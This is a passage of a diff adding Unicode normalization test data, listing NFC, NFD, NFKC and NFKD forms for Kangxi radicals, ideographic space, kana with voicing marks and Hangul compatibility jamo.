+{ source: [0x2F62], NFC: [0x2F62], NFD: [0x2F62], NFKC: [0x7518], NFKD: [0x7518] },
+{ source: [0x2F63], NFC: [0x2F63], NFD: [0x2F63], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x2F64], NFC: [0x2F64], NFD: [0x2F64], NFKC: [0x7528], NFKD: [0x7528] },
+{ source: [0x2F65], NFC: [0x2F65], NFD: [0x2F65], NFKC: [0x7530], NFKD: [0x7530] },
+{ source: [0x2F66], NFC: [0x2F66], NFD: [0x2F66], NFKC: [0x758B], NFKD: [0x758B] },
+{ source: [0x2F67], NFC: [0x2F67], NFD: [0x2F67], NFKC: [0x7592], NFKD: [0x7592] },
+{ source: [0x2F68], NFC: [0x2F68], NFD: [0x2F68], NFKC: [0x7676], NFKD: [0x7676] },
+{ source: [0x2F69], NFC: [0x2F69], NFD: [0x2F69], NFKC: [0x767D], NFKD: [0x767D] },
+{ source: [0x2F6A], NFC: [0x2F6A], NFD: [0x2F6A], NFKC: [0x76AE], NFKD: [0x76AE] },
+{ source: [0x2F6B], NFC: [0x2F6B], NFD: [0x2F6B], NFKC: [0x76BF], NFKD: [0x76BF] },
+{ source: [0x2F6C], NFC: [0x2F6C], NFD: [0x2F6C], NFKC: [0x76EE], NFKD: [0x76EE] },
+{ source: [0x2F6D], NFC: [0x2F6D], NFD: [0x2F6D], NFKC: [0x77DB], NFKD: [0x77DB] },
+{ source: [0x2F6E], NFC: [0x2F6E], NFD: [0x2F6E], NFKC: [0x77E2], NFKD: [0x77E2] },
+{ source: [0x2F6F], NFC: [0x2F6F], NFD: [0x2F6F], NFKC: [0x77F3], NFKD: [0x77F3] },
+{ source: [0x2F70], NFC: [0x2F70], NFD: [0x2F70], NFKC: [0x793A], NFKD: [0x793A] },
+{ source: [0x2F71], NFC: [0x2F71], NFD: [0x2F71], NFKC: [0x79B8], NFKD: [0x79B8] },
+{ source: [0x2F72], NFC: [0x2F72], NFD: [0x2F72], NFKC: [0x79BE], NFKD: [0x79BE] },
+{ source: [0x2F73], NFC: [0x2F73], NFD: [0x2F73], NFKC: [0x7A74], NFKD: [0x7A74] },
+{ source: [0x2F74], NFC: [0x2F74], NFD: [0x2F74], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0x2F75], NFC: [0x2F75], NFD: [0x2F75], NFKC: [0x7AF9], NFKD: [0x7AF9] },
+{ source: [0x2F76], NFC: [0x2F76], NFD: [0x2F76], NFKC: [0x7C73], NFKD: [0x7C73] },
+{ source: [0x2F77], NFC: [0x2F77], NFD: [0x2F77], NFKC: [0x7CF8], NFKD: [0x7CF8] },
+{ source: [0x2F78], NFC: [0x2F78], NFD: [0x2F78], NFKC: [0x7F36], NFKD: [0x7F36] },
+{ source: [0x2F79], NFC: [0x2F79], NFD: [0x2F79], NFKC: [0x7F51], NFKD: [0x7F51] },
+{ source: [0x2F7A], NFC: [0x2F7A], NFD: [0x2F7A], NFKC: [0x7F8A], NFKD: [0x7F8A] },
+{ source: [0x2F7B], NFC: [0x2F7B], NFD: [0x2F7B], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0x2F7C], NFC: [0x2F7C], NFD: [0x2F7C], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0x2F7D], NFC: [0x2F7D], NFD: [0x2F7D], NFKC: [0x800C], NFKD: [0x800C] },
+{ source: [0x2F7E], NFC: [0x2F7E], NFD: [0x2F7E], NFKC: [0x8012], NFKD: [0x8012] },
+{ source: [0x2F7F], NFC: [0x2F7F], NFD: [0x2F7F], NFKC: [0x8033], NFKD: [0x8033] },
+{ source: [0x2F80], NFC: [0x2F80], NFD: [0x2F80], NFKC: [0x807F], NFKD: [0x807F] },
+{ source: [0x2F81], NFC: [0x2F81], NFD: [0x2F81], NFKC: [0x8089], NFKD: [0x8089] },
+{ source: [0x2F82], NFC: [0x2F82], NFD: [0x2F82], NFKC: [0x81E3], NFKD: [0x81E3] },
+{ source: [0x2F83], NFC: [0x2F83], NFD: [0x2F83], NFKC: [0x81EA], NFKD: [0x81EA] },
+{ source: [0x2F84], NFC: [0x2F84], NFD: [0x2F84], NFKC: [0x81F3], NFKD: [0x81F3] },
+{ source: [0x2F85], NFC: [0x2F85], NFD: [0x2F85], NFKC: [0x81FC], NFKD: [0x81FC] },
+{ source: [0x2F86], NFC: [0x2F86], NFD: [0x2F86], NFKC: [0x820C], NFKD: [0x820C] },
+{ source: [0x2F87], NFC: [0x2F87], NFD: [0x2F87], NFKC: [0x821B], NFKD: [0x821B] },
+{ source: [0x2F88], NFC: [0x2F88], NFD: [0x2F88], NFKC: [0x821F], NFKD: [0x821F] },
+{ source: [0x2F89], NFC: [0x2F89], NFD: [0x2F89], NFKC: [0x826E], NFKD: [0x826E] },
+{ source: [0x2F8A], NFC: [0x2F8A], NFD: [0x2F8A], NFKC: [0x8272], NFKD: [0x8272] },
+{ source: [0x2F8B], NFC: [0x2F8B], NFD: [0x2F8B], NFKC: [0x8278], NFKD: [0x8278] },
+{ source: [0x2F8C], NFC: [0x2F8C], NFD: [0x2F8C], NFKC: [0x864D], NFKD: [0x864D] },
+{ source: [0x2F8D], NFC: [0x2F8D], NFD: [0x2F8D], NFKC: [0x866B], NFKD: [0x866B] },
+{ source: [0x2F8E], NFC: [0x2F8E], NFD: [0x2F8E], NFKC: [0x8840], NFKD: [0x8840] },
+{ source: [0x2F8F], NFC: [0x2F8F], NFD: [0x2F8F], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0x2F90], NFC: [0x2F90], NFD: [0x2F90], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F91], NFC: [0x2F91], NFD: [0x2F91], NFKC: [0x897E], NFKD: [0x897E] },
+{ source: [0x2F92], NFC: [0x2F92], NFD: [0x2F92], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0x2F93], NFC: [0x2F93], NFD: [0x2F93], NFKC: [0x89D2], NFKD: [0x89D2] },
+{ source: [0x2F94], NFC: [0x2F94], NFD: [0x2F94], NFKC: [0x8A00], NFKD: [0x8A00] },
+{ source: [0x2F95], NFC: [0x2F95], NFD: [0x2F95], NFKC: [0x8C37], NFKD: [0x8C37] },
+{ source: [0x2F96], NFC: [0x2F96], NFD: [0x2F96], NFKC: [0x8C46], NFKD: [0x8C46] },
+{ source: [0x2F97], NFC: [0x2F97], NFD: [0x2F97], NFKC: [0x8C55], NFKD: [0x8C55] },
+{ source: [0x2F98], NFC: [0x2F98], NFD: [0x2F98], NFKC: [0x8C78], NFKD: [0x8C78] },
+{ source: [0x2F99], NFC: [0x2F99], NFD: [0x2F99], NFKC: [0x8C9D], NFKD: [0x8C9D] },
+{ source: [0x2F9A], NFC: [0x2F9A], NFD: [0x2F9A], NFKC: [0x8D64], NFKD: [0x8D64] },
+{ source: [0x2F9B], NFC: [0x2F9B], NFD: [0x2F9B], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x2F9C], NFC: [0x2F9C], NFD: [0x2F9C], NFKC: [0x8DB3], NFKD: [0x8DB3] },
+{ source: [0x2F9D], NFC: [0x2F9D], NFD: [0x2F9D], NFKC: [0x8EAB], NFKD: [0x8EAB] },
+{ source: [0x2F9E], NFC: [0x2F9E], NFD: [0x2F9E], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0x2F9F], NFC: [0x2F9F], NFD: [0x2F9F], NFKC: [0x8F9B], NFKD: [0x8F9B] },
+{ source: [0x2FA0], NFC: [0x2FA0], NFD: [0x2FA0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0x2FA1], NFC: [0x2FA1], NFD: [0x2FA1], NFKC: [0x8FB5], NFKD: [0x8FB5] },
+{ source: [0x2FA2], NFC: [0x2FA2], NFD: [0x2FA2], NFKC: [0x9091], NFKD: [0x9091] },
+{ source: [0x2FA3], NFC: [0x2FA3], NFD: [0x2FA3], NFKC: [0x9149], NFKD: [0x9149] },
+{ source: [0x2FA4], NFC: [0x2FA4], NFD: [0x2FA4], NFKC: [0x91C6], NFKD: [0x91C6] },
+{ source: [0x2FA5], NFC: [0x2FA5], NFD: [0x2FA5], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0x2FA6], NFC: [0x2FA6], NFD: [0x2FA6], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x2FA7], NFC: [0x2FA7], NFD: [0x2FA7], NFKC: [0x9577], NFKD: [0x9577] },
+{ source: [0x2FA8], NFC: [0x2FA8], NFD: [0x2FA8], NFKC: [0x9580], NFKD: [0x9580] },
+{ source: [0x2FA9], NFC: [0x2FA9], NFD: [0x2FA9], NFKC: [0x961C], NFKD: [0x961C] },
+{ source: [0x2FAA], NFC: [0x2FAA], NFD: [0x2FAA], NFKC: [0x96B6], NFKD: [0x96B6] },
+{ source: [0x2FAB], NFC: [0x2FAB], NFD: [0x2FAB], NFKC: [0x96B9], NFKD: [0x96B9] },
+{ source: [0x2FAC], NFC: [0x2FAC], NFD: [0x2FAC], NFKC: [0x96E8], NFKD: [0x96E8] },
+{ source: [0x2FAD], NFC: [0x2FAD], NFD: [0x2FAD], NFKC: [0x9751], NFKD: [0x9751] },
+{ source: [0x2FAE], NFC: [0x2FAE], NFD: [0x2FAE], NFKC: [0x975E], NFKD: [0x975E] },
+{ source: [0x2FAF], NFC: [0x2FAF], NFD: [0x2FAF], NFKC: [0x9762], NFKD: [0x9762] },
+{ source: [0x2FB0], NFC: [0x2FB0], NFD: [0x2FB0], NFKC: [0x9769], NFKD: [0x9769] },
+{ source: [0x2FB1], NFC: [0x2FB1], NFD: [0x2FB1], NFKC: [0x97CB], NFKD: [0x97CB] },
+{ source: [0x2FB2], NFC: [0x2FB2], NFD: [0x2FB2], NFKC: [0x97ED], NFKD: [0x97ED] },
+{ source: [0x2FB3], NFC: [0x2FB3], NFD: [0x2FB3], NFKC: [0x97F3], NFKD: [0x97F3] },
+{ source: [0x2FB4], NFC: [0x2FB4], NFD: [0x2FB4], NFKC: [0x9801], NFKD: [0x9801] },
+{ source: [0x2FB5], NFC: [0x2FB5], NFD: [0x2FB5], NFKC: [0x98A8], NFKD: [0x98A8] },
+{ source: [0x2FB6], NFC: [0x2FB6], NFD: [0x2FB6], NFKC: [0x98DB], NFKD: [0x98DB] },
+{ source: [0x2FB7], NFC: [0x2FB7], NFD: [0x2FB7], NFKC: [0x98DF], NFKD: [0x98DF] },
+{ source: [0x2FB8], NFC: [0x2FB8], NFD: [0x2FB8], NFKC: [0x9996], NFKD: [0x9996] },
+{ source: [0x2FB9], NFC: [0x2FB9], NFD: [0x2FB9], NFKC: [0x9999], NFKD: [0x9999] },
+{ source: [0x2FBA], NFC: [0x2FBA], NFD: [0x2FBA], NFKC: [0x99AC], NFKD: [0x99AC] },
+{ source: [0x2FBB], NFC: [0x2FBB], NFD: [0x2FBB], NFKC: [0x9AA8], NFKD: [0x9AA8] },
+{ source: [0x2FBC], NFC: [0x2FBC], NFD: [0x2FBC], NFKC: [0x9AD8], NFKD: [0x9AD8] },
+{ source: [0x2FBD], NFC: [0x2FBD], NFD: [0x2FBD], NFKC: [0x9ADF], NFKD: [0x9ADF] },
+{ source: [0x2FBE], NFC: [0x2FBE], NFD: [0x2FBE], NFKC: [0x9B25], NFKD: [0x9B25] },
+{ source: [0x2FBF], NFC: [0x2FBF], NFD: [0x2FBF], NFKC: [0x9B2F], NFKD: [0x9B2F] },
+{ source: [0x2FC0], NFC: [0x2FC0], NFD: [0x2FC0], NFKC: [0x9B32], NFKD: [0x9B32] },
+{ source: [0x2FC1], NFC: [0x2FC1], NFD: [0x2FC1], NFKC: [0x9B3C], NFKD: [0x9B3C] },
+{ source: [0x2FC2], NFC: [0x2FC2], NFD: [0x2FC2], NFKC: [0x9B5A], NFKD: [0x9B5A] },
+{ source: [0x2FC3], NFC: [0x2FC3], NFD: [0x2FC3], NFKC: [0x9CE5], NFKD: [0x9CE5] },
+{ source: [0x2FC4], NFC: [0x2FC4], NFD: [0x2FC4], NFKC: [0x9E75], NFKD: [0x9E75] },
+{ source: [0x2FC5], NFC: [0x2FC5], NFD: [0x2FC5], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0x2FC6], NFC: [0x2FC6], NFD: [0x2FC6], NFKC: [0x9EA5], NFKD: [0x9EA5] },
+{ source: [0x2FC7], NFC: [0x2FC7], NFD: [0x2FC7], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FC8], NFC: [0x2FC8], NFD: [0x2FC8], NFKC: [0x9EC3], NFKD: [0x9EC3] },
+{ source: [0x2FC9], NFC: [0x2FC9], NFD: [0x2FC9], NFKC: [0x9ECD], NFKD: [0x9ECD] },
+{ source: [0x2FCA], NFC: [0x2FCA], NFD: [0x2FCA], NFKC: [0x9ED1], NFKD: [0x9ED1] },
+{ source: [0x2FCB], NFC: [0x2FCB], NFD: [0x2FCB], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FCC], NFC: [0x2FCC], NFD: [0x2FCC], NFKC: [0x9EFD], NFKD: [0x9EFD] },
+{ source: [0x2FCD], NFC: [0x2FCD], NFD: [0x2FCD], NFKC: [0x9F0E], NFKD: [0x9F0E] },
+{ source: [0x2FCE], NFC: [0x2FCE], NFD: [0x2FCE], NFKC: [0x9F13], NFKD: [0x9F13] },
+{ source: [0x2FCF], NFC: [0x2FCF], NFD: [0x2FCF], NFKC: [0x9F20], NFKD: [0x9F20] },
+{ source: [0x2FD0], NFC: [0x2FD0], NFD: [0x2FD0], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FD1], NFC: [0x2FD1], NFD: [0x2FD1], NFKC: [0x9F4A], NFKD: [0x9F4A] },
+{ source: [0x2FD2], NFC: [0x2FD2], NFD: [0x2FD2], NFKC: [0x9F52], NFKD: [0x9F52] },
+{ source: [0x2FD3], NFC: [0x2FD3], NFD: [0x2FD3], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0x2FD4], NFC: [0x2FD4], NFD: [0x2FD4], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0x2FD5], NFC: [0x2FD5], NFD: [0x2FD5], NFKC: [0x9FA0], NFKD: [0x9FA0] },
+{ source: [0x3000], NFC: [0x3000], NFD: [0x3000], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x3036], NFC: [0x3036], NFD: [0x3036], NFKC: [0x3012], NFKD: [0x3012] },
+{ source: [0x3038], NFC: [0x3038], NFD: [0x3038], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x3039], NFC: [0x3039], NFD: [0x3039], NFKC: [0x5344], NFKD: [0x5344] },
+{ source: [0x303A], NFC: [0x303A], NFD: [0x303A], NFKC: [0x5345], NFKD: [0x5345] },
+{ source: [0x304C], NFC: [0x304C], NFD: [0x304B, 0x3099], NFKC: [0x304C], NFKD: [0x304B, 0x3099] },
+{ source: [0x304E], NFC: [0x304E], NFD: [0x304D, 0x3099], NFKC: [0x304E], NFKD: [0x304D, 0x3099] },
+{ source: [0x3050], NFC: [0x3050], NFD: [0x304F, 0x3099], NFKC: [0x3050], NFKD: [0x304F, 0x3099] },
+{ source: [0x3052], NFC: [0x3052], NFD: [0x3051, 0x3099], NFKC: [0x3052], NFKD: [0x3051, 0x3099] },
+{ source: [0x3054], NFC: [0x3054], NFD: [0x3053, 0x3099], NFKC: [0x3054], NFKD: [0x3053, 0x3099] },
+{ source: [0x3056], NFC: [0x3056], NFD: [0x3055, 0x3099], NFKC: [0x3056], NFKD: [0x3055, 0x3099] },
+{ source: [0x3058], NFC: [0x3058], NFD: [0x3057, 0x3099], NFKC: [0x3058], NFKD: [0x3057, 0x3099] },
+{ source: [0x305A], NFC: [0x305A], NFD: [0x3059, 0x3099], NFKC: [0x305A], NFKD: [0x3059, 0x3099] },
+{ source: [0x305C], NFC: [0x305C], NFD: [0x305B, 0x3099], NFKC: [0x305C], NFKD: [0x305B, 0x3099] },
+{ source: [0x305E], NFC: [0x305E], NFD: [0x305D, 0x3099], NFKC: [0x305E], NFKD: [0x305D, 0x3099] },
+{ source: [0x3060], NFC: [0x3060], NFD: [0x305F, 0x3099], NFKC: [0x3060], NFKD: [0x305F, 0x3099] },
+{ source: [0x3062], NFC: [0x3062], NFD: [0x3061, 0x3099], NFKC: [0x3062], NFKD: [0x3061, 0x3099] },
+{ source: [0x3065], NFC: [0x3065], NFD: [0x3064, 0x3099], NFKC: [0x3065], NFKD: [0x3064, 0x3099] },
+{ source: [0x3067], NFC: [0x3067], NFD: [0x3066, 0x3099], NFKC: [0x3067], NFKD: [0x3066, 0x3099] },
+{ source: [0x3069], NFC: [0x3069], NFD: [0x3068, 0x3099], NFKC: [0x3069], NFKD: [0x3068, 0x3099] },
+{ source: [0x3070], NFC: [0x3070], NFD: [0x306F, 0x3099], NFKC: [0x3070], NFKD: [0x306F, 0x3099] },
+{ source: [0x3071], NFC: [0x3071], NFD: [0x306F, 0x309A], NFKC: [0x3071], NFKD: [0x306F, 0x309A] },
+{ source: [0x3073], NFC: [0x3073], NFD: [0x3072, 0x3099], NFKC: [0x3073], NFKD: [0x3072, 0x3099] },
+{ source: [0x3074], NFC: [0x3074], NFD: [0x3072, 0x309A], NFKC: [0x3074], NFKD: [0x3072, 0x309A] },
+{ source: [0x3076], NFC: [0x3076], NFD: [0x3075, 0x3099], NFKC: [0x3076], NFKD: [0x3075, 0x3099] },
+{ source: [0x3077], NFC: [0x3077], NFD: [0x3075, 0x309A], NFKC: [0x3077], NFKD: [0x3075, 0x309A] },
+{ source: [0x3079], NFC: [0x3079], NFD: [0x3078, 0x3099], NFKC: [0x3079], NFKD: [0x3078, 0x3099] },
+{ source: [0x307A], NFC: [0x307A], NFD: [0x3078, 0x309A], NFKC: [0x307A], NFKD: [0x3078, 0x309A] },
+{ source: [0x307C], NFC: [0x307C], NFD: [0x307B, 0x3099], NFKC: [0x307C], NFKD: [0x307B, 0x3099] },
+{ source: [0x307D], NFC: [0x307D], NFD: [0x307B, 0x309A], NFKC: [0x307D], NFKD: [0x307B, 0x309A] },
+{ source: [0x3094], NFC: [0x3094], NFD: [0x3046, 0x3099], NFKC: [0x3094], NFKD: [0x3046, 0x3099] },
+{ source: [0x309B], NFC: [0x309B], NFD: [0x309B], NFKC: [0x0020, 0x3099], NFKD: [0x0020, 0x3099] },
+{ source: [0x309C], NFC: [0x309C], NFD: [0x309C], NFKC: [0x0020, 0x309A], NFKD: [0x0020, 0x309A] },
+{ source: [0x309E], NFC: [0x309E], NFD: [0x309D, 0x3099], NFKC: [0x309E], NFKD: [0x309D, 0x3099] },
+{ source: [0x309F], NFC: [0x309F], NFD: [0x309F], NFKC: [0x3088, 0x308A], NFKD: [0x3088, 0x308A] },
+{ source: [0x30AC], NFC: [0x30AC], NFD: [0x30AB, 0x3099], NFKC: [0x30AC], NFKD: [0x30AB, 0x3099] },
+{ source: [0x30AE], NFC: [0x30AE], NFD: [0x30AD, 0x3099], NFKC: [0x30AE], NFKD: [0x30AD, 0x3099] },
+{ source: [0x30B0], NFC: [0x30B0], NFD: [0x30AF, 0x3099], NFKC: [0x30B0], NFKD: [0x30AF, 0x3099] },
+{ source: [0x30B2], NFC: [0x30B2], NFD: [0x30B1, 0x3099], NFKC: [0x30B2], NFKD: [0x30B1, 0x3099] },
+{ source: [0x30B4], NFC: [0x30B4], NFD: [0x30B3, 0x3099], NFKC: [0x30B4], NFKD: [0x30B3, 0x3099] },
+{ source: [0x30B6], NFC: [0x30B6], NFD: [0x30B5, 0x3099], NFKC: [0x30B6], NFKD: [0x30B5, 0x3099] },
+{ source: [0x30B8], NFC: [0x30B8], NFD: [0x30B7, 0x3099], NFKC: [0x30B8], NFKD: [0x30B7, 0x3099] },
+{ source: [0x30BA], NFC: [0x30BA], NFD: [0x30B9, 0x3099], NFKC: [0x30BA], NFKD: [0x30B9, 0x3099] },
+{ source: [0x30BC], NFC: [0x30BC], NFD: [0x30BB, 0x3099], NFKC: [0x30BC], NFKD: [0x30BB, 0x3099] },
+{ source: [0x30BE], NFC: [0x30BE], NFD: [0x30BD, 0x3099], NFKC: [0x30BE], NFKD: [0x30BD, 0x3099] },
+{ source: [0x30C0], NFC: [0x30C0], NFD: [0x30BF, 0x3099], NFKC: [0x30C0], NFKD: [0x30BF, 0x3099] },
+{ source: [0x30C2], NFC: [0x30C2], NFD: [0x30C1, 0x3099], NFKC: [0x30C2], NFKD: [0x30C1, 0x3099] },
+{ source: [0x30C5], NFC: [0x30C5], NFD: [0x30C4, 0x3099], NFKC: [0x30C5], NFKD: [0x30C4, 0x3099] },
+{ source: [0x30C7], NFC: [0x30C7], NFD: [0x30C6, 0x3099], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x30C9], NFC: [0x30C9], NFD: [0x30C8, 0x3099], NFKC: [0x30C9], NFKD: [0x30C8, 0x3099] },
+{ source: [0x30D0], NFC: [0x30D0], NFD: [0x30CF, 0x3099], NFKC: [0x30D0], NFKD: [0x30CF, 0x3099] },
+{ source: [0x30D1], NFC: [0x30D1], NFD: [0x30CF, 0x309A], NFKC: [0x30D1], NFKD: [0x30CF, 0x309A] },
+{ source: [0x30D3], NFC: [0x30D3], NFD: [0x30D2, 0x3099], NFKC: [0x30D3], NFKD: [0x30D2, 0x3099] },
+{ source: [0x30D4], NFC: [0x30D4], NFD: [0x30D2, 0x309A], NFKC: [0x30D4], NFKD: [0x30D2, 0x309A] },
+{ source: [0x30D6], NFC: [0x30D6], NFD: [0x30D5, 0x3099], NFKC: [0x30D6], NFKD: [0x30D5, 0x3099] },
+{ source: [0x30D7], NFC: [0x30D7], NFD: [0x30D5, 0x309A], NFKC: [0x30D7], NFKD: [0x30D5, 0x309A] },
+{ source: [0x30D9], NFC: [0x30D9], NFD: [0x30D8, 0x3099], NFKC: [0x30D9], NFKD: [0x30D8, 0x3099] },
+{ source: [0x30DA], NFC: [0x30DA], NFD: [0x30D8, 0x309A], NFKC: [0x30DA], NFKD: [0x30D8, 0x309A] },
+{ source: [0x30DC], NFC: [0x30DC], NFD: [0x30DB, 0x3099], NFKC: [0x30DC], NFKD: [0x30DB, 0x3099] },
+{ source: [0x30DD], NFC: [0x30DD], NFD: [0x30DB, 0x309A], NFKC: [0x30DD], NFKD: [0x30DB, 0x309A] },
+{ source: [0x30F4], NFC: [0x30F4], NFD: [0x30A6, 0x3099], NFKC: [0x30F4], NFKD: [0x30A6, 0x3099] },
+{ source: [0x30F7], NFC: [0x30F7], NFD: [0x30EF, 0x3099], NFKC: [0x30F7], NFKD: [0x30EF, 0x3099] },
+{ source: [0x30F8], NFC: [0x30F8], NFD: [0x30F0, 0x3099], NFKC: [0x30F8], NFKD: [0x30F0, 0x3099] },
+{ source: [0x30F9], NFC: [0x30F9], NFD: [0x30F1, 0x3099], NFKC: [0x30F9], NFKD: [0x30F1, 0x3099] },
+{ source: [0x30FA], NFC: [0x30FA], NFD: [0x30F2, 0x3099], NFKC: [0x30FA], NFKD: [0x30F2, 0x3099] },
+{ source: [0x30FE], NFC: [0x30FE], NFD: [0x30FD, 0x3099], NFKC: [0x30FE], NFKD: [0x30FD, 0x3099] },
+{ source: [0x30FF], NFC: [0x30FF], NFD: [0x30FF], NFKC: [0x30B3, 0x30C8], NFKD: [0x30B3, 0x30C8] },
+{ source: [0x3131], NFC: [0x3131], NFD: [0x3131], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3132], NFC: [0x3132], NFD: [0x3132], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0x3133], NFC: [0x3133], NFD: [0x3133], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0x3134], NFC: [0x3134], NFD: [0x3134], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3135], NFC: [0x3135], NFD: [0x3135], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0x3136], NFC: [0x3136], NFD: [0x3136], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0x3137], NFC: [0x3137], NFD: [0x3137], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3138], NFC: [0x3138], NFD: [0x3138], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0x3139], NFC: [0x3139], NFD: [0x3139], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x313A], NFC: [0x313A], NFD: [0x313A], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0x313B], NFC: [0x313B], NFD: [0x313B], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0x313C], NFC: [0x313C], NFD: [0x313C], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0x313D], NFC: [0x313D], NFD: [0x313D], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0x313E], NFC: [0x313E], NFD: [0x313E], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0x313F], NFC: [0x313F], NFD: [0x313F], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0x3140], NFC: [0x3140], NFD: [0x3140], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0x3141], NFC: [0x3141], NFD: [0x3141], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3142], NFC: [0x3142], NFD: [0x3142], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3143], NFC: [0x3143], NFD: [0x3143], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0x3144], NFC: [0x3144], NFD: [0x3144], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0x3145], NFC: [0x3145], NFD: [0x3145], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3146], NFC: [0x3146], NFD: [0x3146], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0x3147], NFC: [0x3147], NFD: [0x3147], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3148], NFC: [0x3148], NFD: [0x3148], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3149], NFC: [0x3149], NFD: [0x3149], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0x314A], NFC: [0x314A], NFD: [0x314A], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x314B], NFC: [0x314B], NFD: [0x314B], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x314C], NFC: [0x314C], NFD: [0x314C], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x314D], NFC: [0x314D], NFD: [0x314D], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x314E], NFC: [0x314E], NFD: [0x314E], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x314F], NFC: [0x314F], NFD: [0x314F], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0x3150], NFC: [0x3150], NFD: [0x3150], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0x3151], NFC: [0x3151], NFD: [0x3151], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0x3152], NFC: [0x3152], NFD: [0x3152], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0x3153], NFC: [0x3153], NFD: [0x3153], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0x3154], NFC: [0x3154], NFD: [0x3154], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0x3155], NFC: [0x3155], NFD: [0x3155], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0x3156], NFC: [0x3156], NFD: [0x3156], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0x3157], NFC: [0x3157], NFD: [0x3157], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0x3158], NFC: [0x3158], NFD: [0x3158], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0x3159], NFC: [0x3159], NFD: [0x3159], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0x315A], NFC: [0x315A], NFD: [0x315A], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0x315B], NFC: [0x315B], NFD: [0x315B], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0x315C], NFC: [0x315C], NFD: [0x315C], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0x315D], NFC: [0x315D], NFD: [0x315D], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0x315E], NFC: [0x315E], NFD: [0x315E], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0x315F], NFC: [0x315F], NFD: [0x315F], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0x3160], NFC: [0x3160], NFD: [0x3160], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0x3161], NFC: [0x3161], NFD: [0x3161], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0x3162], NFC: [0x3162], NFD: [0x3162], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0x3163], NFC: [0x3163], NFD: [0x3163], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0x3164], NFC: [0x3164], NFD: [0x3164], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0x3165], NFC: [0x3165], NFD: [0x3165], NFKC: [0x1114], NFKD: [0x1114] },
+{ source: [0x3166], NFC: [0x3166], NFD: [0x3166], NFKC: [0x1115], NFKD: [0x1115] },
+{ source: [0x3167], NFC: [0x3167], NFD: [0x3167], NFKC: [0x11C7], NFKD: [0x11C7] },
+{ source: [0x3168], NFC: [0x3168], NFD: [0x3168], NFKC: [0x11C8], NFKD: [0x11C8] },
+{ source: [0x3169], NFC: [0x3169], NFD: [0x3169], NFKC: [0x11CC], NFKD: [0x11CC] },
+{ source: [0x316A], NFC: [0x316A], NFD: [0x316A], NFKC: [0x11CE], NFKD: [0x11CE] },
